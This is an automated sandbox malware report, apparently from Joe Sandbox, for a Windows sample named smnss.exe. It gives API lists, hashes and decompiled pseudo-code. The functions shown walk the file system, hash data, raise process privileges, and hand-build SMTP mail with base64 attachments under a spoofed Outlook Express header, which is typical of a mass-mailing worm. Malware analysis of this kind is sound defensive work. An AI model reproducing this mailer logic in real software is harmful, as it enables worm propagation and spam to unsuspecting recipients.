Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 004028B3
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004028D5

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 55e289c392c43dc11c6b29da9f1cba6e1b33f9d9a4985b1c99fcb906303650f7
Instruction ID: a2a94c62469e04ea526b3170561a4d1959144f6524308fe89c3ba5c1d6912741
Opcode Fuzzy Hash: 55e289c392c43dc11c6b29da9f1cba6e1b33f9d9a4985b1c99fcb906303650f7
Instruction Fuzzy Hash: 2F21ED769043048BC710EF64D9815CEBBF4FB84314F40857FE985A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: smnss.exePID: 5492, Parent PID: 5456COMMON

Execution Graph

Execution Coverage:	23.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1366
Total number of Limit Nodes:	27

Executed Functions

Function 00403790 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 133
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_mbscpy.MSVCRT ref: 004037D8
memset.MSVCRT ref: 0040383B
FindFirstFileA.KERNEL32 ref: 0040385C
FindNextFileA.KERNEL32 ref: 00403888
lstrcpy.KERNEL32 ref: 004038CC
_mbscat.MSVCRT ref: 00403910
FindClose.KERNEL32 ref: 00403957

Strings

., xrefs: 004038AA
., xrefs: 00403898
\, xrefs: 004038E4
*.*, xrefs: 0040381A
C:\, xrefs: 00403794

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Find$File$CloseFirstNext_mbscat_mbscpylstrcpymemset
String ID: *.*$.$.$C:\$\
API String ID: 1316374366-389428931
Opcode ID: 3a786e443a1036d7155bbffe9fadff1b0aa8ea2b0cb4425a15adcc3c477b1c1b
Instruction ID: b4465dfa5f332ec533157c87ff7dca4d317d8e0d8912ef682c4f4d402bf95f8b
Opcode Fuzzy Hash: 3a786e443a1036d7155bbffe9fadff1b0aa8ea2b0cb4425a15adcc3c477b1c1b
Instruction Fuzzy Hash: 505194758083588ADB20AF35C48839DBFE5AF44315F1486BEE859673C1DB788F88CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040447C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 105
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E0040447C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				void _v28;
				long* _v32;
				void* _v36;
				char _v40;
				char _v44;
				int _v60;
				int _v64;
				int _v68;
				int _v72;
				char* _v76;
				int _v80;
				int _v84;
				intOrPtr _v88;
				int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char* _v116;
				char* _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				char* _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v168;
				intOrPtr _v172;
				int _t54;
				long* _t57;
				int _t60;
				intOrPtr _t76;
				int _t79;
				signed int _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				void* _t89;
				intOrPtr* _t90;
				intOrPtr* _t93;

				_t76 = _a12;
				asm("cld");
				memset( &_v28, 0, 4 << 2);
				_v60 = 0;
				_v64 = 1;
				_v68 = 0;
				_v72 = 0;
				_t54 = CryptAcquireContextA( &_v32); // executed
				_t86 = _t83 - 0x40 + 0xc - 0x14;
				_t79 = 0;
				if(_t54 != 0) {
					_v76 =  &_v36;
					_v80 = 0;
					_v84 = 0;
					_v88 = 0x8003;
					_t57 = _v32;
					 *_t86 = _t57;
					L0040C4B0();
					_t88 = _t86 - 0x14;
					_t79 = 0;
					if(_t57 != 0) {
						_v100 = 0;
						_v104 = _a8;
						_v108 = _a4;
						_t60 = _v36;
						_v112 = _t60;
						L0040C4B8();
						_t89 = _t88 - 0x10;
						if(_t60 != 0) {
							_v40 = 4;
							_v112 = 0;
							_v116 =  &_v40;
							_v120 =  &_v44;
							_v124 = 4;
							_v128 = _v36;
							L0040C4D0();
							_t90 = _t89 - 0x14;
							_v132 = 0;
							_v136 =  &_v44;
							_v140 =  &_v28;
							_v144 = 2;
							 *_t90 = _v36;
							L0040C4D0();
							_v168 = _v36;
							L0040C4C0();
							_v168 = 0;
							CryptReleaseContext(_v32);
							_t93 = _t90 - 8;
							_t82 = 0;
							if(0 < _v44) {
								do {
									_v168 =  *( &_v28 + _t82) & 0x000000ff;
									_v172 = "%2.2x";
									 *_t93 = _t76 + _t82 * 2;
									sprintf(??, ??);
									_t82 = _t82 + 1;
								} while (_t82 < _v44);
							}
							_t79 = 1;
						} else {
							_v128 = _v36;
							L0040C4C0();
							_v128 = 0;
							CryptReleaseContext(_v32);
							_t79 = 0;
						}
					}
				}
				return _t79;
			}

APIs

CryptAcquireContextA.ADVAPI32 ref: 004044BD
CryptCreateHash.ADVAPI32 ref: 004044F7
CryptHashData.ADVAPI32 ref: 00404528
CryptDestroyHash.ADVAPI32 ref: 0040453A
CryptReleaseContext.ADVAPI32 ref: 00404550
CryptGetHashParam.ADVAPI32 ref: 0040458D
CryptGetHashParam.ADVAPI32 ref: 004045B9
CryptDestroyHash.ADVAPI32 ref: 004045C7
CryptReleaseContext.ADVAPI32 ref: 004045DD
sprintf.MSVCRT ref: 00404606

Strings

%2.2x, xrefs: 004045F8

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Crypt$Hash$Context$DestroyParamRelease$AcquireCreateDatasprintf
String ID: %2.2x
API String ID: 3563044075-341615062
Opcode ID: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction ID: 71e90cb579b3012189f1bc8fcce2ad08a11f5a443b18af0431ecfa41047fce4e
Opcode Fuzzy Hash: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction Fuzzy Hash: 6A41A6B5904309DBDB00EF69C58579EBBF4BB84314F00892EE984A7381E779D548CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 13.6, APIs: 9, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				_Unknown_base(*)()* _t34;
				void* _t36;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t42;
				signed int _t44;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(_t34); // executed
				_t44 = _t42 - 0x20;
				E0040B000(E0040AF00(_t36, _t37));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t44 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L7:
					L0040C1A0();
					_t38 =  *0x40d4e8; // 0x4000
					 *_t23 = _t38;
					E0040AED0(_t23);
					_t44 = _t44 & 0xfffffff0;
					_t25 = E0040AEB0();
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t44 =  *0x414004; // executed
					_t23 = E00404076(_t38); // executed
					L0040C188();
					 *_t44 = _t23;
					ExitProcess(??);
					goto L8;
				} else {
					 *0x40d4e8 = _t23;
					_t39 =  *0x4194a4;
					if(_t39 != 0) {
						L8:
						_v40 = _t23;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 17c38317f9a66652df7258aecbb9e80ccef0f3f3888fbe713f9de6f1fcdca26b
Instruction ID: fdd625d713225136926791f8e063cfc049a139930cefd6fb9cd0f0f3deb6f4ef
Opcode Fuzzy Hash: 17c38317f9a66652df7258aecbb9e80ccef0f3f3888fbe713f9de6f1fcdca26b
Instruction Fuzzy Hash: 8F310DB4908701DFC700EF75D98164E77E5BF88354F008A7EE545AB3A2D738A8418F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				void* _t35;
				void* _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				signed int _t40;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(??); // executed
				_t40 = _t39 - 4;
				E0040B000(E0040AF00(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t40 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L6:
					L0040C1A0();
					_t37 =  *0x40d4e8; // 0x4000
					 *_t23 = _t37;
					E0040AED0(_t23);
					_t40 = _t40 & 0xfffffff0;
					_t25 = E0040AEB0();
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t40 =  *0x414004; // executed
					_t23 = E00404076(_t37); // executed
					L0040C188();
					 *_t40 = _t23;
					ExitProcess(??);
					L7:
					_v40 = _t23;
					_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
					_v44 = _t23;
					L0040C1A8();
					_t38 =  *0x4194a4;
					L2:
					if(_t38 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t38 =  *0x4194a4;
					}
					if(_t38 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L6;
				}
				 *0x40d4e8 = _t23;
				_t38 =  *0x4194a4;
				if(_t38 != 0) {
					goto L7;
				}
				goto L2;
			}

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 5dea925255efc0a92b5cd23e23833b04243e3d0205a30240cc68abcc00f57cf9
Instruction ID: fe54e7aefeed6918a5ef1b916f0e819b51a912cea38922c35654569b06e5a2dd
Opcode Fuzzy Hash: 5dea925255efc0a92b5cd23e23833b04243e3d0205a30240cc68abcc00f57cf9
Instruction Fuzzy Hash: 8631EDB4908701DFC700EF75D98154E77E5BF88354F008A7EE545AB3A2D73898418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00404DFA
OpenProcessToken.ADVAPI32 ref: 00404E11
LookupPrivilegeValueA.ADVAPI32 ref: 00404E36
AdjustTokenPrivileges.ADVAPI32 ref: 00404E89
CloseHandle.KERNEL32 ref: 00404E9E

Strings

(, xrefs: 00404E06

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: (
API String ID: 3038321057-3887548279
Opcode ID: 70bff709f9072d4e6a1122d309d6733e6ebeebff8d79adb6f2d5725a62973f5d
Instruction ID: 79319732bb30defa6c9a9f1a6b789a97df9146ac2c859e5e9c71adcb6af8603d
Opcode Fuzzy Hash: 70bff709f9072d4e6a1122d309d6733e6ebeebff8d79adb6f2d5725a62973f5d
Instruction Fuzzy Hash: 21119BB4904305DBDB00EF69C18579EBBF4BF44348F00892EE884A7385E779D549CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040619A Relevance: 100.1, APIs: 24, Strings: 33, Instructions: 328
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040619A(void* __edx, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _v16;
				intOrPtr _v40;
				int _v42;
				char _v44;
				void _v1068;
				char _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				void _v1228;
				struct _SYSTEMTIME _v1244;
				int _v1248;
				void* _v1252;
				intOrPtr _v1256;
				void* _v1260;
				intOrPtr _v1264;
				void* _v1268;
				CHAR* _v1272;
				CHAR* _v1276;
				void* _v1280;
				signed int _v1284;
				signed int _v1288;
				intOrPtr _v1292;
				signed int _v1296;
				char _v1300;
				void* _v1304;
				intOrPtr _v1308;
				CHAR* _v1312;
				char _v1316;
				CHAR* _v1320;
				CHAR* _v1324;
				CHAR* _v1328;
				void* __ebx;
				int _t137;
				int _t138;
				char _t139;
				char* _t140;
				void* _t141;
				void* _t144;
				void* _t147;
				void* _t150;
				void* _t151;
				void* _t154;
				void* _t157;
				void* _t165;
				CHAR* _t166;
				void* _t172;
				void* _t188;
				void* _t191;
				void* _t192;
				void* _t193;
				CHAR* _t195;
				CHAR* _t200;
				CHAR* _t202;
				void* _t203;
				void* _t208;
				void* _t209;
				CHAR* _t215;
				void* _t216;
				void* _t217;
				CHAR** _t222;
				CHAR** _t226;

				_t208 = __edx;
				memset( &_v1068, 0, 0x400);
				_t209 =  &_v1132;
				asm("cld");
				memset(_t209, 0, 0xc << 2);
				 *((short*)(_t209 + 0xc)) = 0;
				_v1164 = 0x412620;
				_v1160 = 0x412624;
				_v1156 = 0x412628;
				_v1152 = 0x41262c;
				_v1148 = 0x412630;
				_v1144 = 0x412634;
				_v1140 = 0x412638;
				_v1136 = 0x41263c;
				memcpy( &_v1228, 0x40d424, 0xd << 2);
				GetSystemTime( &_v1244);
				_v1276 = _v1244.wSecond & 0x0000ffff;
				_v1280 = _v1244.wMinute & 0x0000ffff;
				_v1284 = _v1244.wHour & 0x0000ffff;
				_v1288 = _v1244.wYear & 0x0000ffff;
				_v1292 =  *((intOrPtr*)(_t216 + (_v1244.wMonth & 0x0000ffff) * 4 - 0x4c8));
				_v1296 = _v1244.wDay & 0x0000ffff;
				_v1300 =  *((intOrPtr*)(_t216 + (_v1244.wDayOfWeek & 0x0000ffff) * 4 - 0x488));
				_t137 = wsprintfA( &_v1132, "%s, %d %s %d %d:%d:%d GMT");
				_v1292 = 6;
				_v1296 = 1;
				_v1300 = 2; // executed
				L00408708(); // executed
				_t222 = _t217 - 0x50c + 0x18 - 0xfffffffffffffff8;
				_t215 = _t137;
				if(_t137 == 0xffffffff) {
					L39:
					_v1312 = _t215;
					L004086C0();
					_t138 = 0;
				} else {
					_v44 = 2;
					_v1312 = 0x19;
					L004086F8();
					_v42 = _t137;
					_t139 = _a4;
					_v1316 = _t139;
					L004086E8();
					_t226 = _t222;
					_v40 = _t139;
					if(_t139 != 0xffffffff) {
						L4:
						_v1312 = 0x10;
						_t140 =  &_v44;
						_v1316 = _t140;
						_v1320 = _t215; // executed
						L00408710(); // executed
						_t222 = _t226 - 0xc;
						if(_t140 == 0xffffffff) {
							goto L39;
						} else {
							 *_t222 = _t215; // executed
							_t141 = E004067E0(0); // executed
							if(_t141 == 0) {
								goto L39;
							} else {
								_v1324 = _a4;
								_v1328 = "HELO %s\r\n";
								_t200 =  &_v1068;
								 *_t222 = _t200;
								_t144 = E00406788(wsprintfA(??, ??), _t215, _t200); // executed
								if(_t144 == 0) {
									goto L39;
								} else {
									_v1316 = _a8;
									_t147 = E00406788(wsprintfA(_t200, "MAIL FROM: <%s>\r\n"), _t215, _t200); // executed
									if(_t147 == 0) {
										goto L39;
									} else {
										_v1308 = _a12;
										_t150 = E00406788(wsprintfA(_t200, "RCPT TO: <%s>\r\n"), _t215, _t200); // executed
										if(_t150 == 0) {
											goto L39;
										} else {
											_t151 = E00406788(_t150, _t215, "DATA\r\n"); // executed
											if(_t151 == 0) {
												goto L39;
											} else {
												_v1300 = _a8;
												_t154 = E00406746(wsprintfA(_t200, "FROM: <%s>\r\n"), _t200, _t215, _t200); // executed
												if(_t154 == 0) {
													goto L39;
												} else {
													_v1292 = _a12;
													_t157 = E00406746(wsprintfA(_t200, "TO: <%s>\r\n"), _t200, _t215, _t200); // executed
													if(_t157 == 0) {
														goto L39;
													} else {
														_v1284 =  &_v1132;
														if(E00406746(wsprintfA(_t200, "Date: %s\r\n"), _t200, _t215, _t200) == 0 || E00406746(_t160, _t200, _t215, "MIME-Version: 1.0\r\n") == 0) {
															goto L39;
														} else {
															_v1276 = _a16;
															if(E00406746(wsprintfA(_t200, "Subject: %s\r\n"), _t200, _t215, _t200) == 0) {
																goto L39;
															} else {
																_t165 = E00406746(_t164, _t200, _t215, "X-Mailer: Microsoft Outlook Express 6.00.2800.1106\r\n"); // executed
																if(_t165 == 0) {
																	goto L39;
																} else {
																	_t166 = _a24;
																	_v1276 = _t166;
																	L0040C310();
																	_t222 = _t222 - 4;
																	if(_t166 == 0) {
																		if(E00406746(_t166, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0 || E00406746(_t167, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																			goto L39;
																		} else {
																			_v1272 = _a20;
																			_v1276 = "\r\n%s\r\n";
																			_v1280 =  &_v1068;
																			if(E00406746(wsprintfA(??, ??),  &_v1068, _t215,  &_v1068) == 0) {
																				goto L39;
																			} else {
																				goto L36;
																			}
																		}
																	} else {
																		if(E00406746(_t166, _t200, _t215, "Content-type: Multipart/Mixed; boundary=xContext\r\n") == 0 || E00406746(_t174, _t200, _t215, "\r\n--xContext\r\n") == 0) {
																			goto L39;
																		} else {
																			if(_a32 == 0) {
																				if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0) {
																					goto L39;
																				} else {
																					goto L23;
																				}
																			} else {
																				if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=Windows-1251\r\n") == 0) {
																					goto L39;
																				} else {
																					L23:
																					if(E00406746(_t176, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																						goto L39;
																					} else {
																						_v1272 = _a20;
																						_v1276 = "\r\n%s\r\n";
																						_t202 =  &_v1068;
																						_v1280 = _t202;
																						if(E00406746(wsprintfA(??, ??), _t202, _t215, _t202) == 0 || E00406746(_t180, _t202, _t215, "\r\n--xContext\r\n") == 0) {
																							goto L39;
																						} else {
																							_v1264 = _a28;
																							if(E00406746(wsprintfA(_t202, "Content-type: Application/Octet-stream; name=\"%s\"; type:unknown\r\n"), _t202, _t215, _t202) == 0) {
																								goto L39;
																							} else {
																								_v1256 = _a28;
																								if(E00406746(wsprintfA(_t202, "Content-Disposition: attachment; filename=\"%s\"\r\n"), _t202, _t215, _t202) == 0) {
																									goto L39;
																								} else {
																									_t188 = E00406746(_t187, _t202, _t215, "Content-Transfer-Encoding: base64\r\n\r\n"); // executed
																									if(_t188 == 0) {
																										goto L39;
																									} else {
																										_v1248 = 0;
																										_t191 = E004017F8(_t208, _a24,  &_v1248); // executed
																										_t203 = _t191;
																										_t192 = E00406746(_t191, _t203, _t215, _t191); // executed
																										if(_t192 != 0) {
																											_t193 = GlobalFree(_t203); // executed
																											_t222 = _t222 - 4;
																											_t171 = E00406746(_t193, _t203, _t215, "\r\n\r\n--xContext--\r\n"); // executed
																											if(_t171 == 0) {
																												goto L39;
																											} else {
																												L36:
																												_t172 = E00406788(_t171, _t215, "\r\n.\r\n"); // executed
																												if(_t172 == 0 || E00406788(_t172, _t215, "QUIT\r\n") == 0) {
																													goto L39;
																												} else {
																													_v1272 = _t215;
																													L004086C0();
																													_t138 = 1;
																												}
																											}
																										} else {
																											GlobalFree(_t203);
																											_t222 = _t222 - 4;
																											goto L39;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t195 = _a4;
						_v1320 = _t195; // executed
						L004086D8(); // executed
						_t222 = _t226 - 4;
						if(_t195 == 0) {
							goto L39;
						} else {
							_v40 =  *((intOrPtr*)( *(_t195[0xc])));
							goto L4;
						}
					}
				}
				return _t138;
			}

0x0040619a
0x004061c4
0x004061c9
0x004061cf
0x004061d7
0x004061d9
0x004061de
0x004061e8
0x004061f2
0x004061fc
0x00406206
0x00406210
0x0040621a
0x00406224
0x0040623e
0x00406249
0x00406258
0x00406263
0x0040626e
0x00406279
0x0040628b
0x00406296
0x004062a8
0x004062bd
0x004062c2
0x004062ca
0x004062d2
0x004062d9
0x004062de
0x004062e1
0x004062e6
0x0040672e
0x0040672e
0x00406731
0x00406739
0x004062ec
0x004062ec
0x004062f2
0x004062f9
0x00406301
0x00406305
0x00406308
0x0040630b
0x00406310
0x00406313
0x00406319
0x0040633b
0x0040633b
0x00406343
0x00406346
0x0040634a
0x0040634d
0x00406352
0x00406358
0x00000000
0x0040635e
0x0040635e
0x00406361
0x00406368
0x00000000
0x0040636e
0x00406371
0x00406375
0x0040637d
0x00406383
0x00406392
0x00406399
0x00000000
0x0040639f
0x004063a2
0x004063bd
0x004063c4
0x00000000
0x004063ca
0x004063cd
0x004063e8
0x004063ef
0x00000000
0x004063f5
0x00406400
0x00406407
0x00000000
0x0040640d
0x00406410
0x0040642b
0x00406432
0x00000000
0x00406438
0x0040643b
0x00406456
0x0040645d
0x00000000
0x00406463
0x00406469
0x0040648b
0x00000000
0x004064a9
0x004064ac
0x004064ce
0x00000000
0x004064d4
0x004064df
0x004064e6
0x00000000
0x004064ec
0x004064ec
0x004064ef
0x004064f2
0x004064f7
0x004064fc
0x004066b1
0x00000000
0x004066c7
0x004066ca
0x004066ce
0x004066dc
0x004066f2
0x00000000
0x00000000
0x00000000
0x00000000
0x004066f2
0x00406502
0x00406514
0x00000000
0x00406532
0x00406536
0x00406564
0x00000000
0x00000000
0x00000000
0x00000000
0x00406538
0x0040654a
0x00000000
0x00406550
0x0040656a
0x0040657c
0x00000000
0x00406582
0x00406585
0x00406589
0x00406591
0x00406597
0x004065ad
0x00000000
0x004065cb
0x004065ce
0x004065f0
0x00000000
0x004065f6
0x004065f9
0x0040661b
0x00000000
0x00406621
0x0040662c
0x00406633
0x00000000
